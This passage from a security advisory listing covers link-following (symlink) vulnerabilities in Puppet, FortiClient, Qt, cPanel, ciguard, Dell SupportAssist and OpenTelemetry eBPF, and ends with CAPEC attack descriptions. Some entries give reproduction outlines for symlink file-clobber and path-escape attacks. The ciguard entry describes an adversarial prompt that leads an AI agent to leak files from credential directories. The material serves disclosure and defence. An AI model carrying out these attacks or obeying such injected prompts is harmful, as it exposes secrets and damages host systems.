    "severity": "MODERATE"
  },
  "details": "Puppet 2.7.x before 2.7.5, 2.6.x before 2.6.11, and 0.25.x allows local users to overwrite arbitrary files via a symlink attack on the .k5login file.",
  "id": "GHSA-8c56-v25w-f89c",
  "modified": "2024-01-16T21:31:04Z",
  "published": "2022-05-14T00:56:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2011-3869"
    },
    {
      "type": "WEB",
      "url": "https://github.com/puppetlabs/puppet/commit/2775c21ae48e189950dbea5e7b4d1d9fa2aca41c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/puppetlabs/puppet/commit/7d4c169df84fc7bbeb2941bf995a63470f71bdbd"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/puppetlabs/puppet"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/puppet/CVE-2011-3869.yml"
    },
    {
      "type": "WEB",
      "url": "https://puppet.com/security/cve/cve-2011-3869"
    },
    {
      "type": "WEB",
      "url": "http://groups.google.com/group/puppet-announce/browse_thread/thread/91e3b46d2328a1cb"
    },
    {
      "type": "WEB",
      "url": "http://lists.fedoraproject.org/pipermail/package-announce/2011-October/068053.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.fedoraproject.org/pipermail/package-announce/2011-October/068061.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.fedoraproject.org/pipermail/package-announce/2011-October/068093.html"
    },
    {
      "type": "WEB",
      "url": "http://www.debian.org/security/2011/dsa-2314"
    },
    {
      "type": "WEB",
      "url": "http://www.ubuntu.com/usn/USN-1223-1"
    },
    {
      "type": "WEB",
      "url": "http://www.ubuntu.com/usn/USN-1223-2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Puppet arbitrary file overwrite"
}

GHSA-8CG4-RQG8-PCG3

Vulnerability from github – Published: 2026-02-10 18:30 – Updated: 2026-02-10 18:30

Details

An Improper Link Resolution Before File Access ('Link Following') vulnerability [CWE-59] vulnerability in Fortinet FortiClientWindows 7.4.0 through 7.4.4, FortiClientWindows 7.2.0 through 7.2.12, FortiClientWindows 7.0 all versions may allow a local low-privilege attacker to perform an arbitrary file write with elevated permissions via crafted named pipe messages.

Severity

7.1 (High)


                  
                    CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2025-62676"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-10T16:16:09Z",
    "severity": "HIGH"
  },
  "details": "An Improper Link Resolution Before File Access (\u0027Link Following\u0027) vulnerability [CWE-59] vulnerability in Fortinet FortiClientWindows 7.4.0 through 7.4.4, FortiClientWindows 7.2.0 through 7.2.12, FortiClientWindows 7.0 all versions may allow a local low-privilege attacker to perform an arbitrary file write with elevated permissions via crafted named pipe messages.",
  "id": "GHSA-8cg4-rqg8-pcg3",
  "modified": "2026-02-10T18:30:38Z",
  "published": "2026-02-10T18:30:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62676"
    },
    {
      "type": "WEB",
      "url": "https://fortiguard.fortinet.com/psirt/FG-IR-25-661"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8CGQ-RF3M-GJM4

Vulnerability from github – Published: 2025-05-16 15:31 – Updated: 2025-05-16 15:31

Details

Improper Link Resolution Before File Access ('Link Following') vulnerability in QFileSystemEngine in the Qt corelib module on Windows which potentially allows Symlink Attacks and the use of Malicious Files. Issue originates from CVE-2024-38081. The vulnerability arises from the use of the GetTempPath API, which can be exploited by attackers to manipulate temporary file paths, potentially leading to unauthorized access and privilege escalation. The affected public API in the Qt Framework is QDir::tempPath() and anything that uses it, such as QStandardPaths with TempLocation, QTemporaryDir, and QTemporaryFile.This issue affects all version of Qt up to and including 5.15.18, from 6.0.0 through 6.5.8, from 6.6.0 through 6.8.1. It is fixed in Qt 5.15.19, Qt 6.5.9, Qt 6.8.2, 6.9.0

Severity

7.3 (High)


                  
                    CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/S:P

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2025-4211"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-05-16T14:15:32Z",
    "severity": "HIGH"
  },
  "details": "Improper Link Resolution Before File Access (\u0027Link Following\u0027) vulnerability in QFileSystemEngine in the Qt corelib module on Windows which potentially allows Symlink Attacks and the use of Malicious Files. Issue originates from CVE-2024-38081. The vulnerability arises from the use of the GetTempPath API, which can be exploited by attackers to manipulate temporary file paths, potentially leading to unauthorized access and privilege escalation.\u00a0The affected public API in the Qt Framework is QDir::tempPath() and anything that uses it, such as QStandardPaths with TempLocation, QTemporaryDir, and QTemporaryFile.This issue affects all version of Qt up to and including 5.15.18, from 6.0.0 through 6.5.8, from 6.6.0 through 6.8.1. It is fixed in Qt 5.15.19, Qt 6.5.9, Qt 6.8.2, 6.9.0",
  "id": "GHSA-8cgq-rf3m-gjm4",
  "modified": "2025-05-16T15:31:03Z",
  "published": "2025-05-16T15:31:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-4211"
    },
    {
      "type": "WEB",
      "url": "https://codereview.qt-project.org/c/qt/qtbase/+/632231"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:P/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-8CVX-3RG5-X9J3

Vulnerability from github – Published: 2022-04-29 02:59 – Updated: 2024-01-26 18:30

Details

cPanel 9.4.1-RELEASE-64 follows hard links, which allows local users to (1) read arbitrary files via the backup feature or (2) chown arbitrary files via the .htaccess file when Front Page extensions are enabled or disabled.

Severity

5.5 (Medium)


                  
                    CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2004-1603"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2004-10-18T04:00:00Z",
    "severity": "MODERATE"
  },
  "details": "cPanel 9.4.1-RELEASE-64 follows hard links, which allows local users to (1) read arbitrary files via the backup feature or (2) chown arbitrary files via the .htaccess file when Front Page extensions are enabled or disabled.",
  "id": "GHSA-8cvx-3rg5-x9j3",
  "modified": "2024-01-26T18:30:30Z",
  "published": "2022-04-29T02:59:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2004-1603"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/17779"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/17780"
    },
    {
      "type": "WEB",
      "url": "http://marc.info/?l=bugtraq\u0026m=109811572123753\u0026w=2"
    },
    {
      "type": "WEB",
      "url": "http://marc.info/?l=bugtraq\u0026m=109811654104208\u0026w=2"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/12865"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/11449"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/11455"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8CXW-CC62-Q28V

Vulnerability from github – Published: 2026-05-05 22:19 – Updated: 2026-05-15 23:51

Summary

ciguard: discover_pipeline_files follows symlinks out of scan root

Details

Summary

The discover_pipeline_files() function in src/ciguard/discovery.py (introduced in v0.8.0 and used by the MCP scan_repo tool shipped in v0.8.1) walks a directory tree following symlinks, with cycle protection via tracking visited resolved paths. An attacker who can plant a symlink in a directory the user (or AI agent) scans can cause discovery to walk into the symlink target and return paths to pipeline-shaped files outside the requested root.

Threat scenario

MCP confused-deputy. A user runs Claude Desktop / Claude Code / Cursor with the ciguard MCP server registered. The agent is fed an adversarial prompt to scan a directory containing planted symlinks (e.g. via a malicious clone or extracted tarball). ciguard.scan_repo walks the symlinks, returning paths and (via subsequent scan calls) file content from ~/.aws/, ~/.config/, /etc/some-pipeline-config/, etc. Pipeline files often contain hardcoded secrets, internal hostnames, deploy keys.

Patch

New follow_symlinks: bool = False parameter on discover_pipeline_files. Default refuses to descend into symlinked directories OR symlinked files.
Belt-and-braces: results are filtered to those whose .resolve() lies under root.resolve(), applied even when callers opt in to follow_symlinks=True.
3 regression tests in tests/test_discovery.py::TestSymlinkSafety.

Discovery

Found during ciguard's first self-conducted penetration test cycle (PTES + OWASP TG v4.2 + CREST framing), 2026-04-26.

CVSS Scoring

CVSS v3.1: CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:L/I:N/A:N — 4.4 (Medium)
CVSS v4.0: CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:P/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N — first.org calc 5.7 (Medium); GitHub's calc returns 2.4 (Low). Vector is correct — calculator profiles differ.

Reproduction

from pathlib import Path
from ciguard.discovery import discover_pipeline_files
# In a victim dir, plant: trojan -> /etc
# (or any other accessible dir containing pipeline-shaped files)
for f in discover_pipeline_files(Path('/tmp/victim')):
    print(f)  # pre-fix: includes paths under /etc; post-fix: only /tmp/victim/

References

Fix released in v0.8.2
CI regression gate added in v0.8.3
https://www.cve.org/CVERecord?id=CVE-2026-44220

See also: GHSA-w828-4qhx-vxx3 — same conceptual pattern (path-validation flaw in an AI-agent tool) in Claude SDK for Python, CWE-59 + CWE-367

Severity

0.0 (None)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N

2.4 (Low)


                  
                    CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:P/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.8.1"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "ciguard"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.8.0"
            },
            {
              "fixed": "0.8.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44220"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T22:19:23Z",
    "nvd_published_at": "2026-05-12T20:16:42Z",
    "severity": "LOW"
  },
  "details": "## Summary\n\nThe `discover_pipeline_files()` function in `src/ciguard/discovery.py` (introduced in v0.8.0 and used by the MCP `scan_repo` tool shipped in v0.8.1) walks a directory tree following symlinks, with cycle protection via tracking visited resolved paths. An attacker who can plant a symlink in a directory the user (or AI agent) scans can cause discovery to walk into the symlink target and return paths to pipeline-shaped files outside the requested root.\n\n## Threat scenario\n\n**MCP confused-deputy.** A user runs Claude Desktop / Claude Code / Cursor with the ciguard MCP server registered. The agent is fed an adversarial prompt to scan a directory containing planted symlinks (e.g. via a malicious clone or extracted tarball). `ciguard.scan_repo` walks the symlinks, returning paths and (via subsequent `scan` calls) file content from `~/.aws/`, `~/.config/`, `/etc/some-pipeline-config/`, etc. Pipeline files often contain hardcoded secrets, internal hostnames, deploy keys.\n\n## Patch\n\n- New `follow_symlinks: bool = False` parameter on `discover_pipeline_files`. Default refuses to descend into symlinked directories OR symlinked files.\n- Belt-and-braces: results are filtered to those whose `.resolve()` lies under `root.resolve()`, applied even when callers opt in to `follow_symlinks=True`.\n- 3 regression tests in `tests/test_discovery.py::TestSymlinkSafety`.\n\n## Discovery\n\nFound during ciguard\u0027s first self-conducted penetration test cycle (PTES + OWASP TG v4.2 + CREST framing), 2026-04-26.\n\n## CVSS Scoring\n\n- CVSS v3.1: `CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:L/I:N/A:N` \u2014 4.4 (Medium)\n- CVSS v4.0: `CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:P/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N` \u2014 first.org calc 5.7 (Medium); GitHub\u0027s calc returns 2.4 (Low). Vector is correct \u2014 calculator profiles differ.\n\n## Reproduction\n\n```python\nfrom pathlib import Path\nfrom ciguard.discovery import discover_pipeline_files\n# In a victim dir, plant: trojan -\u003e /etc\n# (or any other accessible dir containing pipeline-shaped files)\nfor f in discover_pipeline_files(Path(\u0027/tmp/victim\u0027)):\n    print(f)  # pre-fix: includes paths under /etc; post-fix: only /tmp/victim/\n```\n\n## References\n\n- Fix released in [v0.8.2](https://github.com/Jo-Jo98/ciguard/releases/tag/v0.8.2)\n- CI regression gate added in [v0.8.3](https://github.com/Jo-Jo98/ciguard/releases/tag/v0.8.3)\n- https://www.cve.org/CVERecord?id=CVE-2026-44220\n\nSee also: [GHSA-w828-4qhx-vxx3](https://github.com/advisories/GHSA-w828-4qhx-vxx3) \u2014 same conceptual pattern (path-validation flaw in an AI-agent tool) in Claude SDK for Python, CWE-59 + CWE-367",
  "id": "GHSA-8cxw-cc62-q28v",
  "modified": "2026-05-15T23:51:39Z",
  "published": "2026-05-05T22:19:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Jo-Jo98/ciguard/security/advisories/GHSA-8cxw-cc62-q28v"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44220"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Jo-Jo98/ciguard"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Jo-Jo98/ciguard/releases/tag/v0.8.2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Jo-Jo98/ciguard/releases/tag/v0.8.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:P/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "ciguard: discover_pipeline_files follows symlinks out of scan root"
}

GHSA-8FGH-M2WX-M9H3

Vulnerability from github – Published: 2022-05-24 19:15 – Updated: 2022-10-25 19:00

Details

Dell SupportAssist Client Consumer versions 3.9.13.0 and any versions prior to 3.9.13.0 contain an arbitrary file deletion vulnerability that can be exploited by using the Windows feature of NTFS called Symbolic links. Symbolic links can be created by any(non-privileged) user under some object directories, but by themselves are not sufficient to successfully escalate privileges. However, combining them with a different object, such as the NTFS junction point allows for the exploitation. Support assist clean files functionality do not distinguish junction points from the physical folder and proceeds to clean the target of the junction that allows nonprivileged users to create junction points and delete arbitrary files on the system which can be accessed only by the admin.

Severity

7.1 (High)


                  
                    CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2021-36286"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-09-28T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "Dell SupportAssist Client Consumer versions 3.9.13.0 and any versions prior to 3.9.13.0 contain an arbitrary file deletion vulnerability that can be exploited by using the Windows feature of NTFS called Symbolic links. Symbolic links can be created by any(non-privileged) user under some object directories, but by themselves are not sufficient to successfully escalate privileges. However, combining them with a different object, such as the NTFS junction point allows for the exploitation. Support assist clean files functionality do not distinguish junction points from the physical folder and proceeds to clean the target of the junction that allows nonprivileged users to create junction points and delete arbitrary files on the system which can be accessed only by the admin.",
  "id": "GHSA-8fgh-m2wx-m9h3",
  "modified": "2022-10-25T19:00:34Z",
  "published": "2022-05-24T19:15:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-36286"
    },
    {
      "type": "WEB",
      "url": "https://www.dell.com/support/kbdoc/en-us/000191057/dsa-2021-163-dell-supportassist-client-consumer-security-update-for-two-vulnerabilities"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8GMG-3W2Q-65F4

Vulnerability from github – Published: 2026-04-17 22:21 – Updated: 2026-04-27 16:19

Summary

OpenTelemetry eBPF Instrumentation: Privileged Java agent injection allows arbitrary host file overwrite via untrusted TMPDIR

Details

Summary

A flaw in the Java agent injection path allows a local attacker controlling a Java workload to overwrite arbitrary host files when Java injection is enabled and OBI is running with elevated privileges. The injector trusted TMPDIR from the target process and used unsafe file creation semantics, enabling both filesystem boundary escape and symlink-based file clobbering.

Remediation

Upgrade to https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/releases/tag/v0.8.0.

Details

The issue is in the Java agent staging logic in pkg/internal/java/java_inject.go.

The injector reads TMPDIR from the target process environment in findTempDir(...) and validates it with dirOK(...). In the vulnerable implementation, dirOK(...) used filepath.Join(root, dir), where root is /proc/<pid>/root. If dir is an absolute path, filepath.Join discards root, so values such as /etc or /proc/1/root/etc are resolved on the host instead of within the target process root.

That validated value is later reused in copyAgent(...) to build the destination path for the Java agent JAR. As a result, a malicious process can influence the privileged injector to write outside the intended /proc/<pid>/root boundary.

The file creation step further increases impact. The vulnerable code created the destination with os.OpenFile(..., os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0o644). Because this does not use exclusive creation or symlink protections, an attacker can pre-create a symlink at the chosen destination, for example in a writable temp directory, and cause the injector to truncate or overwrite another file writable by the privileged OBI process.

Relevant code paths:

pkg/internal/java/java_inject.go: findTempDir(...)
pkg/internal/java/java_inject.go: dirOK(...)
pkg/internal/java/java_inject.go: copyAgent(...)

In short, the vulnerability is caused by two issues acting together:

Untrusted TMPDIR from the target process can escape the intended target root.
The destination JAR is written with unsafe open semantics that allow clobbering via symlink or attacker-controlled destination selection.

PoC

Prerequisites:

OBI is running with elevated privileges on the host.
Java injection is enabled.
The attacker can run or control a Java process on the same host.

Reproduction outline for the path escape case:

Start a Java process with a controlled environment variable such as:
TMPDIR=/etc
or TMPDIR=/proc/1/root/etc
Ensure the process is discovered by OBI and selected for Java agent injection.
Wait for the injector to stage the agent JAR.
Observe that the injector attempts to write obi-java-agent.jar outside /proc/<pid>/root, under the attacker-controlled host path.

Reproduction outline for the symlink clobber case:

Start a Java process with TMPDIR=/tmp or another writable temp directory.
Before injection occurs, create a symlink at the expected destination:
/tmp/obi-java-agent.jar -> /path/to/target/file
Trigger Java agent injection for that process.
Observe that the privileged injector opens the symlink target with truncate semantics and overwrites the linked file contents.

Code evidence:

findTempDir(...) reads ie.FileInfo.Service.EnvVars["TMPDIR"]
dirOK(...) validates using filepath.Join(root, dir)
copyAgent(...) writes the JAR into the selected temp directory
the vulnerable write uses os.OpenFile(..., os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0o644)

Impact

This is an arbitrary file overwrite / file clobber vulnerability in a privileged host component.

Affected users are deployments where:

Java injection is enabled
OBI runs with elevated privileges
untrusted local workloads can run Java processes on the same host

An attacker who can control a local Java process may be able to overwrite host files writable by OBI, which can lead to:

host integrity compromise
service disruption or denial of service
possible local privilege escalation depending on deployment details and overwritten targets

The issue is local rather than remote, but the impact is high because the vulnerable component operates with elevated privileges on the host.

Severity

8.4 (High)


                  
                    CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "go.opentelemetry.io/obi"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.4.0"
            },
            {
              "fixed": "0.8.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41433"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-59"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-17T22:21:41Z",
    "nvd_published_at": "2026-04-24T20:16:27Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nA flaw in the Java agent injection path allows a local attacker controlling a Java workload to overwrite arbitrary host files when Java injection is enabled and OBI is running with elevated privileges. The injector trusted `TMPDIR` from the target process and used unsafe file creation semantics, enabling both filesystem boundary escape and symlink-based file clobbering.\n\n### Remediation\n\nUpgrade to https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/releases/tag/v0.8.0.\n\n### Details\n\nThe issue is in the Java agent staging logic in `pkg/internal/java/java_inject.go`.\n\nThe injector reads `TMPDIR` from the target process environment in `findTempDir(...)` and validates it with `dirOK(...)`. In the vulnerable implementation, `dirOK(...)` used `filepath.Join(root, dir)`, where `root` is `/proc/\u003cpid\u003e/root`. If `dir` is an absolute path, `filepath.Join` discards `root`, so values such as `/etc` or `/proc/1/root/etc` are resolved on the host instead of within the target process root.\n\nThat validated value is later reused in `copyAgent(...)` to build the destination path for the Java agent JAR. As a result, a malicious process can influence the privileged injector to write outside the intended `/proc/\u003cpid\u003e/root` boundary.\n\nThe file creation step further increases impact. The vulnerable code created the destination with `os.OpenFile(..., os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0o644)`. Because this does not use exclusive creation or symlink protections, an attacker can pre-create a symlink at the chosen destination, for example in a writable temp directory, and cause the injector to truncate or overwrite another file writable by the privileged OBI process.\n\nRelevant code paths:\n\n- `pkg/internal/java/java_inject.go`: `findTempDir(...)`\n- `pkg/internal/java/java_inject.go`: `dirOK(...)`\n- `pkg/internal/java/java_inject.go`: `copyAgent(...)`\n\nIn short, the vulnerability is caused by two issues acting together:\n\n1. Untrusted `TMPDIR` from the target process can escape the intended target root.\n2. The destination JAR is written with unsafe open semantics that allow clobbering via symlink or attacker-controlled destination selection.\n\n### PoC\n\nPrerequisites:\n\n- OBI is running with elevated privileges on the host.\n- Java injection is enabled.\n- The attacker can run or control a Java process on the same host.\n\nReproduction outline for the path escape case:\n\n1. Start a Java process with a controlled environment variable such as:\n   - `TMPDIR=/etc`\n   - or `TMPDIR=/proc/1/root/etc`\n2. Ensure the process is discovered by OBI and selected for Java agent injection.\n3. Wait for the injector to stage the agent JAR.\n4. Observe that the injector attempts to write `obi-java-agent.jar` outside `/proc/\u003cpid\u003e/root`, under the attacker-controlled host path.\n\nReproduction outline for the symlink clobber case:\n\n1. Start a Java process with `TMPDIR=/tmp` or another writable temp directory.\n2. Before injection occurs, create a symlink at the expected destination:\n   - `/tmp/obi-java-agent.jar -\u003e /path/to/target/file`\n3. Trigger Java agent injection for that process.\n4. Observe that the privileged injector opens the symlink target with truncate semantics and overwrites the linked file contents.\n\nCode evidence:\n\n- `findTempDir(...)` reads `ie.FileInfo.Service.EnvVars[\"TMPDIR\"]`\n- `dirOK(...)` validates using `filepath.Join(root, dir)`\n- `copyAgent(...)` writes the JAR into the selected temp directory\n- the vulnerable write uses `os.OpenFile(..., os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0o644)`\n\n### Impact\n\nThis is an arbitrary file overwrite / file clobber vulnerability in a privileged host component.\n\nAffected users are deployments where:\n\n- Java injection is enabled\n- OBI runs with elevated privileges\n- untrusted local workloads can run Java processes on the same host\n\nAn attacker who can control a local Java process may be able to overwrite host files writable by OBI, which can lead to:\n\n- host integrity compromise\n- service disruption or denial of service\n- possible local privilege escalation depending on deployment details and overwritten targets\n\nThe issue is local rather than remote, but the impact is high because the vulnerable component operates with elevated privileges on the host.",
  "id": "GHSA-8gmg-3w2q-65f4",
  "modified": "2026-04-27T16:19:41Z",
  "published": "2026-04-17T22:21:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/security/advisories/GHSA-8gmg-3w2q-65f4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41433"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/releases/tag/v0.8.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OpenTelemetry eBPF Instrumentation: Privileged Java agent injection allows arbitrary host file overwrite via untrusted TMPDIR"
}

Mitigation MIT-48.1

Architecture and Design

Strategy: Separation of Privilege

Follow the principle of least privilege when assigning access rights to entities in a software system.
Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.

CAPEC-132: Symlink Attack

An adversary positions a symbolic link in such a manner that the targeted user or application accesses the link's endpoint, assuming that it is accessing a file with the link's name.

CAPEC-17: Using Malicious Files

An attack of this type exploits a system's configuration that allows an adversary to either directly access an executable file, for example through shell access; or in a possible worst case allows an adversary to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.

CAPEC-35: Leverage Executable Code in Non-Executable Files

An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.

CAPEC-76: Manipulating Web Input to File System Calls

An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.

← Back to the CWE list